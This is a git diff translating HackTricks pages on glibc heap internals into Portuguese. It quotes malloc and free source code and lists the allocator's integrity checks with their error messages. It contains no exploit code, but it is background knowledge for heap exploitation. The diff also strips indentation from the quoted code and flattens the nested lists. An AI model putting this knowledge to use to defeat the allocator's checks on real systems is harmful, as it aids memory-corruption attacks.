+- Se o chunk não está marcado como usado (no `prev_inuse` do chunk seguinte): `double free or corruption (!prev)`
+- Se o próximo chunk tem um tamanho muito pequeno ou muito grande: `free(): invalid next size (normal)`
+- se o chunk anterior não estiver em uso, ele tentará consolidar. Mas, se o prev_size diferir do tamanho indicado no chunk anterior: `corrupted size vs. prev_size while consolidating`
 
 

 
 _int_free_merge_chunk code
-
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
 
 /* Try to merge chunk P of SIZE bytes with its neighbors.  Put the
-   resulting chunk on the appropriate bin list.  P must not be on a
-   bin list yet, and it can be in use.  */
+resulting chunk on the appropriate bin list.  P must not be on a
+bin list yet, and it can be in use.  */
 static void
 _int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
 {
-  mchunkptr nextchunk = chunk_at_offset(p, size);
+mchunkptr nextchunk = chunk_at_offset(p, size);
 
-  /* Lightweight tests: check whether the block is already the
-     top block.  */
-  if (__glibc_unlikely (p == av->top))
-    malloc_printerr ("double free or corruption (top)");
-  /* Or whether the next chunk is beyond the boundaries of the arena.  */
-  if (__builtin_expect (contiguous (av)
-			&& (char *) nextchunk
-			>= ((char *) av->top + chunksize(av->top)), 0))
-    malloc_printerr ("double free or corruption (out)");
-  /* Or whether the block is actually not marked used.  */
-  if (__glibc_unlikely (!prev_inuse(nextchunk)))
-    malloc_printerr ("double free or corruption (!prev)");
+/* Lightweight tests: check whether the block is already the
+top block.  */
+if (__glibc_unlikely (p == av->top))
+malloc_printerr ("double free or corruption (top)");
+/* Or whether the next chunk is beyond the boundaries of the arena.  */
+if (__builtin_expect (contiguous (av)
+&& (char *) nextchunk
+>= ((char *) av->top + chunksize(av->top)), 0))
+malloc_printerr ("double free or corruption (out)");
+/* Or whether the block is actually not marked used.  */
+if (__glibc_unlikely (!prev_inuse(nextchunk)))
+malloc_printerr ("double free or corruption (!prev)");
 
-  INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
-  if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
-      || __builtin_expect (nextsize >= av->system_mem, 0))
-    malloc_printerr ("free(): invalid next size (normal)");
+INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
+if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
+|| __builtin_expect (nextsize >= av->system_mem, 0))
+malloc_printerr ("free(): invalid next size (normal)");
 
-  free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
+free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
 
-  /* Consolidate backward.  */
-  if (!prev_inuse(p))
-    {
-      INTERNAL_SIZE_T prevsize = prev_size (p);
-      size += prevsize;
-      p = chunk_at_offset(p, -((long) prevsize));
-      if (__glibc_unlikely (chunksize(p) != prevsize))
-        malloc_printerr ("corrupted size vs. prev_size while consolidating");
-      unlink_chunk (av, p);
-    }
+/* Consolidate backward.  */
+if (!prev_inuse(p))
+{
+INTERNAL_SIZE_T prevsize = prev_size (p);
+size += prevsize;
+p = chunk_at_offset(p, -((long) prevsize));
+if (__glibc_unlikely (chunksize(p) != prevsize))
+malloc_printerr ("corrupted size vs. prev_size while consolidating");
+unlink_chunk (av, p);
+}
 
-  /* Write the chunk header, maybe after merging with the following chunk.  */
-  size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
-  _int_free_maybe_consolidate (av, size);
+/* Write the chunk header, maybe after merging with the following chunk.  */
+size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
+_int_free_maybe_consolidate (av, size);
 }
 ```
-
 

 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
index 18a0a02b7..c576f993c 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
@@ -1,163 +1,163 @@
-# Heap Functions Security Checks
+# Verificações de Segurança das Funções de Heap
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## unlink
 
-For more info check:
+Para mais informações, consulte:
 
 {{#ref}}
 unlink.md
 {{#endref}}
 
-This is a summary of the performed checks:
+Este é um resumo das verificações realizadas:
 
-- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk
-  - Error message: `corrupted size vs. prev_size`
-- Check also that `P->fd->bk == P` and `P->bk->fw == P`
-  - Error message: `corrupted double-linked list`
-- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
-  - Error message: `corrupted double-linked list (not small)`
+- Verifique se o tamanho indicado do chunk é o mesmo que o `prev_size` indicado no próximo chunk
+- Mensagem de erro: `corrupted size vs. prev_size`
+- Verifique também se `P->fd->bk == P` e `P->bk->fw == P`
+- Mensagem de erro: `corrupted double-linked list`
+- Se o chunk não for pequeno, verifique se `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P`
+- Mensagem de erro: `corrupted double-linked list (not small)`
 
 ## \_int_malloc
 
-For more info check:
+Para mais informações, consulte:
 
 {{#ref}}
 malloc-and-sysmalloc.md
 {{#endref}}
 
-- **Checks during fast bin search:**
-  - If the chunk is misaligned:
-    - Error message: `malloc(): unaligned fastbin chunk detected 2`
-  - If the forward chunk is misaligned:
-    - Error message: `malloc(): unaligned fastbin chunk detected`
-  - If the returned chunk has a size that isn't correct because of it's index in the fast bin:
-    - Error message: `malloc(): memory corruption (fast)`
-  - If any chunk used to fill the tcache is misaligned:
-    - Error message: `malloc(): unaligned fastbin chunk detected 3`
-- **Checks during small bin search:**
-  - If `victim->bk->fd != victim`:
-    - Error message: `malloc(): smallbin double linked list corrupted`
-- **Checks during consolidate** performed for each fast bin chunk: 
-  - If the chunk is unaligned trigger:
-    - Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
-  - If the chunk has a different size that the one it should because of the index it's in:
-    - Error message: `malloc_consolidate(): invalid chunk size`
-  - If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
-    - Error message: `corrupted size vs. prev_size in fastbins`
-- **Checks during unsorted bin search**:
-  - If the chunk size is weird (too small or too big): 
-    - Error message: `malloc(): invalid size (unsorted)`
-  - If the next chunk size is weird (too small or too big):
-    - Error message: `malloc(): invalid next size (unsorted)`
-  - If the previous size indicated by the next chunk differs from the size of the chunk:
-    - Error message: `malloc(): mismatching next->prev_size (unsorted)`
-  - If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`:
-    - Error message: `malloc(): unsorted double linked list corrupted`
-    - As we are always checking the las one, it's fd should be pointing always to the arena struct.
-  - If the next chunk isn't indicating that the previous is in use:
-    - Error message: `malloc(): invalid next->prev_inuse (unsorted)`
-  - If `fwd->bk_nextsize->fd_nextsize != fwd`:
-    - Error message: `malloc(): largebin double linked list corrupted (nextsize)`
-  - If `fwd->bk->fd != fwd`:
-    - Error message: `malloc(): largebin double linked list corrupted (bk)`
-- **Checks during large bin (by index) search:**
-  - `bck->fd-> bk != bck`:
-    - Error message: `malloc(): corrupted unsorted chunks`
-- **Checks during large bin (next bigger) search:**
-  - `bck->fd-> bk != bck`:
-    - Error message: `malloc(): corrupted unsorted chunks2`
-- **Checks during Top chunk use:**
-  - `chunksize(av->top) > av->system_mem`:
-    - Error message: `malloc(): corrupted top size`
+- **Verificações durante a busca no fast bin:**
+- Se o chunk estiver desalinhado:
+- Mensagem de erro: `malloc(): unaligned fastbin chunk detected 2`
+- Se o chunk para frente estiver desalinhado:
+- Mensagem de erro: `malloc(): unaligned fastbin chunk detected`
+- Se o chunk retornado tiver um tamanho que não está correto por causa do seu índice no fast bin:
+- Mensagem de erro: `malloc(): memory corruption (fast)`
+- Se algum chunk usado para preencher o tcache estiver desalinhado:
+- Mensagem de erro: `malloc(): unaligned fastbin chunk detected 3`
+- **Verificações durante a busca no small bin:**
+- Se `victim->bk->fd != victim`:
+- Mensagem de erro: `malloc(): smallbin double linked list corrupted`
+- **Verificações durante a consolidação** realizadas para cada chunk do fast bin: 
+- Se o chunk estiver desalinhado, acione:
+- Mensagem de erro: `malloc_consolidate(): unaligned fastbin chunk detected`
+- Se o chunk tiver um tamanho diferente do que deveria por causa do índice em que está:
+- Mensagem de erro: `malloc_consolidate(): invalid chunk size`
+- Se o chunk anterior não estiver em uso e o chunk anterior tiver um tamanho diferente do indicado por prev_chunk:
+- Mensagem de erro: `corrupted size vs. prev_size in fastbins`
+- **Verificações durante a busca no unsorted bin**:
+- Se o tamanho do chunk for estranho (muito pequeno ou muito grande): 
+- Mensagem de erro: `malloc(): invalid size (unsorted)`
+- Se o tamanho do próximo chunk for estranho (muito pequeno ou muito grande):
+- Mensagem de erro: `malloc(): invalid next size (unsorted)`
+- Se o tamanho anterior indicado pelo próximo chunk difere do tamanho do chunk:
+- Mensagem de erro: `malloc(): mismatching next->prev_size (unsorted)`
+- Se não `victim->bck->fd == victim` ou não `victim->fd == av (arena)`:
+- Mensagem de erro: `malloc(): unsorted double linked list corrupted`
+- Como estamos sempre verificando o último, seu fd deve sempre apontar para a estrutura da arena.
+- Se o próximo chunk não indicar que o anterior está em uso:
+- Mensagem de erro: `malloc(): invalid next->prev_inuse (unsorted)`
+- Se `fwd->bk_nextsize->fd_nextsize != fwd`:
+- Mensagem de erro: `malloc(): largebin double linked list corrupted (nextsize)`
+- Se `fwd->bk->fd != fwd`:
+- Mensagem de erro: `malloc(): largebin double linked list corrupted (bk)`
+- **Verificações durante a busca no large bin (por índice):**
+- `bck->fd-> bk != bck`:
+- Mensagem de erro: `malloc(): corrupted unsorted chunks`
+- **Verificações durante a busca no large bin (próximo maior):**
+- `bck->fd-> bk != bck`:
+- Mensagem de erro: `malloc(): corrupted unsorted chunks2`
+- **Verificações durante o uso do Top chunk:**
+- `chunksize(av->top) > av->system_mem`:
+- Mensagem de erro: `malloc(): corrupted top size`
 
 ## `tcache_get_n`
 
-- **Checks in `tcache_get_n`:**
-  - If chunk is misaligned:
-    - Error message: `malloc(): unaligned tcache chunk detected`
+- **Verificações em `tcache_get_n`:**
+- Se o chunk estiver desalinhado:
+- Mensagem de erro: `malloc(): unaligned tcache chunk detected`
 
 ## `tcache_thread_shutdown`
 
-- **Checks in `tcache_thread_shutdown`:**
-  - If chunk is misaligned:
-    - Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected`
+- **Verificações em `tcache_thread_shutdown`:**
+- Se o chunk estiver desalinhado:
+- Mensagem de erro: `tcache_thread_shutdown(): unaligned tcache chunk detected`
 
 ## `__libc_realloc`
 
-- **Checks in `__libc_realloc`:**
-  - If old pointer is misaligned or the size was incorrect:
-    - Error message: `realloc(): invalid pointer`
+- **Verificações em `__libc_realloc`:**
+- Se o ponteiro antigo estiver desalinhado ou o tamanho estiver incorreto:
+- Mensagem de erro: `realloc(): invalid pointer`
 
 ## `_int_free`
 
-For more info check:
+Para mais informações, consulte:
 
 {{#ref}}
 free.md
 {{#endref}}
 
-- **Checks during the start of `_int_free`:**
-  - Pointer is aligned:
-    - Error message: `free(): invalid pointer`
-  - Size larger than `MINSIZE` and size also aligned:
-    - Error message: `free(): invalid size`
-- **Checks in `_int_free` tcache:**
-  - If there are more entries than `mp_.tcache_count`:
-    - Error message: `free(): too many chunks detected in tcache`
-  - If the entry is not aligned:
-    - Error message: `free(): unaligned chunk detected in tcache 2`
-  - If the freed chunk was already freed and is present as chunk in the tcache:
-    - Error message: `free(): double free detected in tcache 2`
-- **Checks in `_int_free` fast bin:**
-  - If the size of the chunk is invalid (too big or small) trigger:
-    - Error message: `free(): invalid next size (fast)`
-  - If the added chunk was already the top of the fast bin:
-    - Error message: `double free or corruption (fasttop)`
-  - If the size of the chunk at the top has a different size of the chunk we are adding:
-    - Error message: `invalid fastbin entry (free)`
+- **Verificações durante o início de `_int_free`:**
+- O ponteiro está alinhado:
+- Mensagem de erro: `free(): invalid pointer`
+- Tamanho maior que `MINSIZE` e tamanho também alinhado:
+- Mensagem de erro: `free(): invalid size`
+- **Verificações em `_int_free` tcache:**
+- Se houver mais entradas do que `mp_.tcache_count`:
+- Mensagem de erro: `free(): too many chunks detected in tcache`
+- Se a entrada não estiver alinhada:
+- Mensagem de erro: `free(): unaligned chunk detected in tcache 2`
+- Se o chunk liberado já foi liberado e está presente como chunk no tcache:
+- Mensagem de erro: `free(): double free detected in tcache 2`
+- **Verificações em `_int_free` fast bin:**
+- Se o tamanho do chunk for inválido (muito grande ou pequeno), acione:
+- Mensagem de erro: `free(): invalid next size (fast)`
+- Se o chunk adicionado já era o topo do fast bin:
+- Mensagem de erro: `double free or corruption (fasttop)`
+- Se o tamanho do chunk no topo tiver um tamanho diferente do chunk que estamos adicionando:
+- Mensagem de erro: `invalid fastbin entry (free)`
 
 ## **`_int_free_merge_chunk`**
 
-- **Checks in `_int_free_merge_chunk`:**
-  - If the chunk is the top chunk:
-    - Error message: `double free or corruption (top)`
-  - If the next chunk is outside of the boundaries of the arena:
-    - Error message: `double free or corruption (out)`
-  - If the chunk is not marked as used (in the prev_inuse from the following chunk):
-    - Error message: `double free or corruption (!prev)`
-  - If the next chunk has a too little size or too big:
-    - Error message: `free(): invalid next size (normal)`
-  - If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk:
-    - Error message: `corrupted size vs. prev_size while consolidating`
+- **Verificações em `_int_free_merge_chunk`:**
+- Se o chunk for o top chunk:
+- Mensagem de erro: `double free or corruption (top)`
+- Se o próximo chunk estiver fora dos limites da arena:
+- Mensagem de erro: `double free or corruption (out)`
+- Se o chunk não estiver marcado como usado (no prev_inuse do chunk seguinte):
+- Mensagem de erro: `double free or corruption (!prev)`
+- Se o próximo chunk tiver um tamanho muito pequeno ou muito grande:
+- Mensagem de erro: `free(): invalid next size (normal)`
+- Se o chunk anterior não estiver em uso, ele tentará consolidar. Mas, se o `prev_size` diferir do tamanho indicado no chunk anterior:
+- Mensagem de erro: `corrupted size vs. prev_size while consolidating`
 
 ## **`_int_free_create_chunk`**
 
-- **Checks in `_int_free_create_chunk`:**
-  - Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
-    - Error message: `free(): corrupted unsorted chunks`
+- **Verificações em `_int_free_create_chunk`:**
+- Adicionando um chunk no unsorted bin, verifique se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
+- Mensagem de erro: `free(): corrupted unsorted chunks`
 
 ## `do_check_malloc_state`
 
-- **Checks in `do_check_malloc_state`:**
-  - If misaligned fast bin chunk:
-    - Error message: `do_check_malloc_state(): unaligned fastbin chunk detected`
+- **Verificações em `do_check_malloc_state`:**
+- Se o chunk do fast bin estiver desalinhado:
+- Mensagem de erro: `do_check_malloc_state(): unaligned fastbin chunk detected`
 
 ## `malloc_consolidate`
 
-- **Checks in `malloc_consolidate`:**
-  - If misaligned fast bin chunk:
-    - Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
-  - If incorrect fast bin chunk size:
-    - Error message: `malloc_consolidate(): invalid chunk size`
+- **Verificações em `malloc_consolidate`:**
+- Se o chunk do fast bin estiver desalinhado:
+- Mensagem de erro: `malloc_consolidate(): unaligned fastbin chunk detected`
+- Se o tamanho do chunk do fast bin estiver incorreto:
+- Mensagem de erro: `malloc_consolidate(): invalid chunk size`
 
 ## `_int_realloc`
 
-- **Checks in `_int_realloc`:**
-  - Size is too big or too small:
-    - Error message: `realloc(): invalid old size`
-  - Size of the next chunk is too big or too small:
-    - Error message: `realloc(): invalid next size`
+- **Verificações em `_int_realloc`:**
+- Tamanho é muito grande ou muito pequeno:
+- Mensagem de erro: `realloc(): invalid old size`
+- Tamanho do próximo chunk é muito grande ou muito pequeno:
+- Mensagem de erro: `realloc(): invalid next size`
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
index 3b2ab7085..9ecdb5750 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
@@ -2,37 +2,36 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Allocation Order Summary 
+## Resumo da Ordem de Alocação 
 
-(No checks are explained in this summary and some case have been omitted for brevity)
+(Nenhuma verificação é explicada neste resumo e alguns casos foram omitidos por brevidade)
 
-1. `__libc_malloc` tries to get a chunk from the tcache, if not it calls `_int_malloc`
+1. `__libc_malloc` tenta obter um chunk do tcache, se não conseguir, chama `_int_malloc`
 2. `_int_malloc` : 
-   1. Tries to generate the arena if there isn't any
-   2. If any fast bin chunk of the correct size, use it
-      1. Fill tcache with other fast chunks
-   3. If any small bin chunk of the correct size, use it
-      1. Fill tcache with other chunks of that size
-   4. If the requested size isn't for small bins, consolidate fast bin into unsorted bin
-   5. Check the unsorted bin, use the first chunk with enough space
-      1. If the found chunk is bigger, divide it to return a part and add the reminder back to the unsorted bin
-      2. If a chunk is of the same size as the size requested, use to to fill the tcache instead of returning it (until the tcache is full, then return the next one)
-      3. For each chunk of smaller size checked, put it in its respective small or large bin
-   6. Check the large bin in the index of the requested size
-      1. Start looking from the first chunk that is bigger than the requested size, if any is found return it and add the reminders to the small bin
-   7. Check the large bins from the next indexes until the end
-      1. From the next bigger index check for any chunk, divide the first found chunk to use it for the requested size and add the reminder to the unsorted bin
-   8. If nothing is found in the previous bins, get a chunk from the top chunk
-   9. If the top chunk wasn't big enough enlarge it with `sysmalloc`
+1. Tenta gerar a arena se não houver nenhuma
+2. Se houver algum chunk de fast bin do tamanho correto, use-o
+1. Preencha o tcache com outros chunks rápidos
+3. Se houver algum chunk de small bin do tamanho correto, use-o
+1. Preencha o tcache com outros chunks desse tamanho
+4. Se o tamanho solicitado não for para small bins, consolide fast bin em unsorted bin
+5. Verifique o unsorted bin, use o primeiro chunk com espaço suficiente
+1. Se o chunk encontrado for maior, divida-o para retornar uma parte e adicione o restante de volta ao unsorted bin
+2. Se um chunk for do mesmo tamanho que o tamanho solicitado, use-o para preencher o tcache em vez de retorná-lo (até que o tcache esteja cheio, então retorne o próximo)
+3. Para cada chunk de tamanho menor verificado, coloque-o em seu respectivo small ou large bin
+6. Verifique o large bin no índice do tamanho solicitado
+1. Comece a procurar a partir do primeiro chunk que é maior que o tamanho solicitado, se algum for encontrado, retorne-o e adicione os restos ao small bin
+7. Verifique os large bins a partir dos próximos índices até o final
+1. A partir do próximo índice maior, verifique se há algum chunk, divida o primeiro chunk encontrado para usá-lo para o tamanho solicitado e adicione o restante ao unsorted bin
+8. Se nada for encontrado nos bins anteriores, obtenha um chunk do top chunk
+9. Se o top chunk não for grande o suficiente, amplie-o com `sysmalloc`
 
 ## \_\_libc_malloc 
 
-The `malloc` function actually calls `__libc_malloc`. This function will check the tcache to see if there is any available chunk of the desired size. If the re is it'll use it and if not it'll check if it's a single thread and in that case it'll call `_int_malloc` in the main arena, and if not it'll call `_int_malloc` in arena of the thread.
+A função `malloc` na verdade chama `__libc_malloc`. Esta função verificará o tcache para ver se há algum chunk disponível do tamanho desejado. Se houver, usará; se não, verificará se é uma única thread e, nesse caso, chamará `_int_malloc` na arena principal, e se não, chamará `_int_malloc` na arena da thread.
 
 

 
-__libc_malloc code
-
+código __libc_malloc
 ```c
 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
 
@@ -40,1707 +39,1660 @@ The `malloc` function actually calls `__libc_malloc`. This function will check t
 void *
 __libc_malloc (size_t bytes)
 {
-  mstate ar_ptr;
-  void *victim;
+mstate ar_ptr;
+void *victim;
 
-  _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
-                  "PTRDIFF_MAX is not more than half of SIZE_MAX");
+_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
+"PTRDIFF_MAX is not more than half of SIZE_MAX");
 
-  if (!__malloc_initialized)
-    ptmalloc_init ();
+if (!__malloc_initialized)
+ptmalloc_init ();
 #if USE_TCACHE
-  /* int_free also calls request2size, be careful to not pad twice.  */
-  size_t tbytes = checked_request2size (bytes);
-  if (tbytes == 0)
-    {
-      __set_errno (ENOMEM);
-      return NULL;
-    }
-  size_t tc_idx = csize2tidx (tbytes);
+/* int_free also calls request2size, be careful to not pad twice.  */
+size_t tbytes = checked_request2size (bytes);
+if (tbytes == 0)
+{
+__set_errno (ENOMEM);
+return NULL;
+}
+size_t tc_idx = csize2tidx (tbytes);
 
-  MAYBE_INIT_TCACHE ();
+MAYBE_INIT_TCACHE ();
 
-  DIAG_PUSH_NEEDS_COMMENT;
-  if (tc_idx < mp_.tcache_bins
-      && tcache != NULL
-      && tcache->counts[tc_idx] > 0)
-    {
-      victim = tcache_get (tc_idx);
-      return tag_new_usable (victim);
-    }
-  DIAG_POP_NEEDS_COMMENT;
+DIAG_PUSH_NEEDS_COMMENT;
+if (tc_idx < mp_.tcache_bins
+&& tcache != NULL
+&& tcache->counts[tc_idx] > 0)
+{
+victim = tcache_get (tc_idx);
+return tag_new_usable (victim);
+}
+DIAG_POP_NEEDS_COMMENT;
 #endif
 
-  if (SINGLE_THREAD_P)
-    {
-      victim = tag_new_usable (_int_malloc (&main_arena, bytes));
-      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
-	      &main_arena == arena_for_chunk (mem2chunk (victim)));
-      return victim;
-    }
+if (SINGLE_THREAD_P)
+{
+victim = tag_new_usable (_int_malloc (&main_arena, bytes));
+assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
+&main_arena == arena_for_chunk (mem2chunk (victim)));
+return victim;
+}
 
-  arena_get (ar_ptr, bytes);
+arena_get (ar_ptr, bytes);
 
-  victim = _int_malloc (ar_ptr, bytes);
-  /* Retry with another arena only if we were able to find a usable arena
-     before.  */
-  if (!victim && ar_ptr != NULL)
-    {
-      LIBC_PROBE (memory_malloc_retry, 1, bytes);
-      ar_ptr = arena_get_retry (ar_ptr, bytes);
-      victim = _int_malloc (ar_ptr, bytes);
-    }
+victim = _int_malloc (ar_ptr, bytes);
+/* Retry with another arena only if we were able to find a usable arena
+before.  */
+if (!victim && ar_ptr != NULL)
+{
+LIBC_PROBE (memory_malloc_retry, 1, bytes);
+ar_ptr = arena_get_retry (ar_ptr, bytes);
+victim = _int_malloc (ar_ptr, bytes);
+}
 
-  if (ar_ptr != NULL)
-    __libc_lock_unlock (ar_ptr->mutex);
+if (ar_ptr != NULL)
+__libc_lock_unlock (ar_ptr->mutex);
 
-  victim = tag_new_usable (victim);
+victim = tag_new_usable (victim);
 
-  assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
-          ar_ptr == arena_for_chunk (mem2chunk (victim)));
-  return victim;
+assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
+ar_ptr == arena_for_chunk (mem2chunk (victim)));
+return victim;
 }
 ```
-
 

 
-Note how it'll always tag the returned pointer with `tag_new_usable`, from the code:
-
+Observe como ele sempre marcará o ponteiro retornado com `tag_new_usable`, do código:
 ```c
- void *tag_new_usable (void *ptr)
+void *tag_new_usable (void *ptr)
 
-   Allocate a new random color and use it to color the user region of
-   a chunk; this may include data from the subsequent chunk's header
-   if tagging is sufficiently fine grained.  Returns PTR suitably
-   recolored for accessing the memory there.
+Allocate a new random color and use it to color the user region of
+a chunk; this may include data from the subsequent chunk's header
+if tagging is sufficiently fine grained.  Returns PTR suitably
+recolored for accessing the memory there.
 ```
-
 ## \_int_malloc 
 
-This is the function that allocates memory using the other bins and top chunk.
+Esta é a função que aloca memória usando os outros bins e o top chunk.
 
-- Start
+- Início
 
-It starts defining some vars and getting the real size the request memory space need to have:
+Ela começa definindo algumas variáveis e obtendo o tamanho real que o espaço de memória solicitado precisa ter:
 
 

 
-_int_malloc start
-
+_int_malloc início
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847
 static void *
 _int_malloc (mstate av, size_t bytes)
 {
-  INTERNAL_SIZE_T nb;               /* normalized request size */
-  unsigned int idx;                 /* associated bin index */
-  mbinptr bin;                      /* associated bin */
+INTERNAL_SIZE_T nb;               /* normalized request size */
+unsigned int idx;                 /* associated bin index */
+mbinptr bin;                      /* associated bin */
 
-  mchunkptr victim;                 /* inspected/selected chunk */
-  INTERNAL_SIZE_T size;             /* its size */
-  int victim_index;                 /* its bin index */
+mchunkptr victim;                 /* inspected/selected chunk */
+INTERNAL_SIZE_T size;             /* its size */
+int victim_index;                 /* its bin index */
 
-  mchunkptr remainder;              /* remainder from a split */
-  unsigned long remainder_size;     /* its size */
+mchunkptr remainder;              /* remainder from a split */
+unsigned long remainder_size;     /* its size */
 
-  unsigned int block;               /* bit map traverser */
-  unsigned int bit;                 /* bit map traverser */
-  unsigned int map;                 /* current word of binmap */
+unsigned int block;               /* bit map traverser */
+unsigned int bit;                 /* bit map traverser */
+unsigned int map;                 /* current word of binmap */
 
-  mchunkptr fwd;                    /* misc temp for linking */
-  mchunkptr bck;                    /* misc temp for linking */
+mchunkptr fwd;                    /* misc temp for linking */
+mchunkptr bck;                    /* misc temp for linking */
 
 #if USE_TCACHE
-  size_t tcache_unsorted_count;	    /* count of unsorted chunks processed */
+size_t tcache_unsorted_count;	    /* count of unsorted chunks processed */
 #endif
 
-  /*
-     Convert request size to internal form by adding SIZE_SZ bytes
-     overhead plus possibly more to obtain necessary alignment and/or
-     to obtain a size of at least MINSIZE, the smallest allocatable
-     size. Also, checked_request2size returns false for request sizes
-     that are so large that they wrap around zero when padded and
-     aligned.
-   */
+/*
+Convert request size to internal form by adding SIZE_SZ bytes
+overhead plus possibly more to obtain necessary alignment and/or
+to obtain a size of at least MINSIZE, the smallest allocatable
+size. Also, checked_request2size returns false for request sizes
+that are so large that they wrap around zero when padded and
+aligned.
+*/
 
-  nb = checked_request2size (bytes);
-  if (nb == 0)
-    {
-      __set_errno (ENOMEM);
-      return NULL;
-    }
+nb = checked_request2size (bytes);
+if (nb == 0)
+{
+__set_errno (ENOMEM);
+return NULL;
+}
 ```
-
 

 
 ### Arena
 
-In the unlikely event that there aren't usable arenas, it uses `sysmalloc` to get a chunk from `mmap`:
+No improvável evento de que não haja arenas utilizáveis, ele usa `sysmalloc` para obter um bloco de `mmap`:
 
 

 
-_int_malloc not arena
-
+_int_malloc não arena
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6
 /* There are no usable arenas.  Fall back to sysmalloc to get a chunk from
-     mmap.  */
-  if (__glibc_unlikely (av == NULL))
-    {
-      void *p = sysmalloc (nb, av);
-      if (p != NULL)
-	alloc_perturb (p, bytes);
-      return p;
-    }
+mmap.  */
+if (__glibc_unlikely (av == NULL))
+{
+void *p = sysmalloc (nb, av);
+if (p != NULL)
+alloc_perturb (p, bytes);
+return p;
+}
 ```
-
 

 
 ### Fast Bin
 
-If the needed size is inside the Fast Bins sizes, try to use a chunk from the fast bin. Basically, based on the size, it'll find the fast bin index where valid chunks should be located, and if any, it'll return one of those.\
-Moreover, if tcache is enabled, it'll **fill the tcache bin of that size with fast bins**.
+Se o tamanho necessário estiver dentro dos tamanhos dos Fast Bins, tente usar um chunk do fast bin. Basicamente, com base no tamanho, ele encontrará o índice do fast bin onde chunks válidos devem estar localizados e, se houver, retornará um deles.\
+Além disso, se o tcache estiver habilitado, ele **preencherá o bin do tcache daquele tamanho com fast bins**.
 
-While performing these actions, some security checks are executed in here:
+Enquanto realiza essas ações, algumas verificações de segurança são executadas aqui:
 
-- If the chunk is misaligned: `malloc(): unaligned fastbin chunk detected 2`
-- If the forward chunk is misaligned: `malloc(): unaligned fastbin chunk detected`
-- If the returned chunk has a size that isn't correct because of it's index in the fast bin: `malloc(): memory corruption (fast)`
-- If any chunk used to fill the tcache is misaligned: `malloc(): unaligned fastbin chunk detected 3`
+- Se o chunk estiver desalinhado: `malloc(): unaligned fastbin chunk detected 2`
+- Se o chunk seguinte estiver desalinhado: `malloc(): unaligned fastbin chunk detected`
+- Se o chunk retornado tiver um tamanho que não está correto por causa de seu índice no fast bin: `malloc(): memory corruption (fast)`
+- Se algum chunk usado para preencher o tcache estiver desalinhado: `malloc(): unaligned fastbin chunk detected 3`
 
 

 
 _int_malloc fast bin
-
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6
 /*
-     If the size qualifies as a fastbin, first check corresponding bin.
-     This code is safe to execute even if av is not yet initialized, so we
-     can try it without checking, which saves some time on this fast path.
-   */
+If the size qualifies as a fastbin, first check corresponding bin.
+This code is safe to execute even if av is not yet initialized, so we
+can try it without checking, which saves some time on this fast path.
+*/
 
 #define REMOVE_FB(fb, victim, pp)			\
-  do							\
-    {							\
-      victim = pp;					\
-      if (victim == NULL)				\
-	break;						\
-      pp = REVEAL_PTR (victim->fd);                                     \
-      if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp)))       \
-	malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
-    }							\
-  while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
-	 != victim);					\
+do							\
+{							\
+victim = pp;					\
+if (victim == NULL)				\
+break;						\
+pp = REVEAL_PTR (victim->fd);                                     \
+if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp)))       \
+malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
+}							\
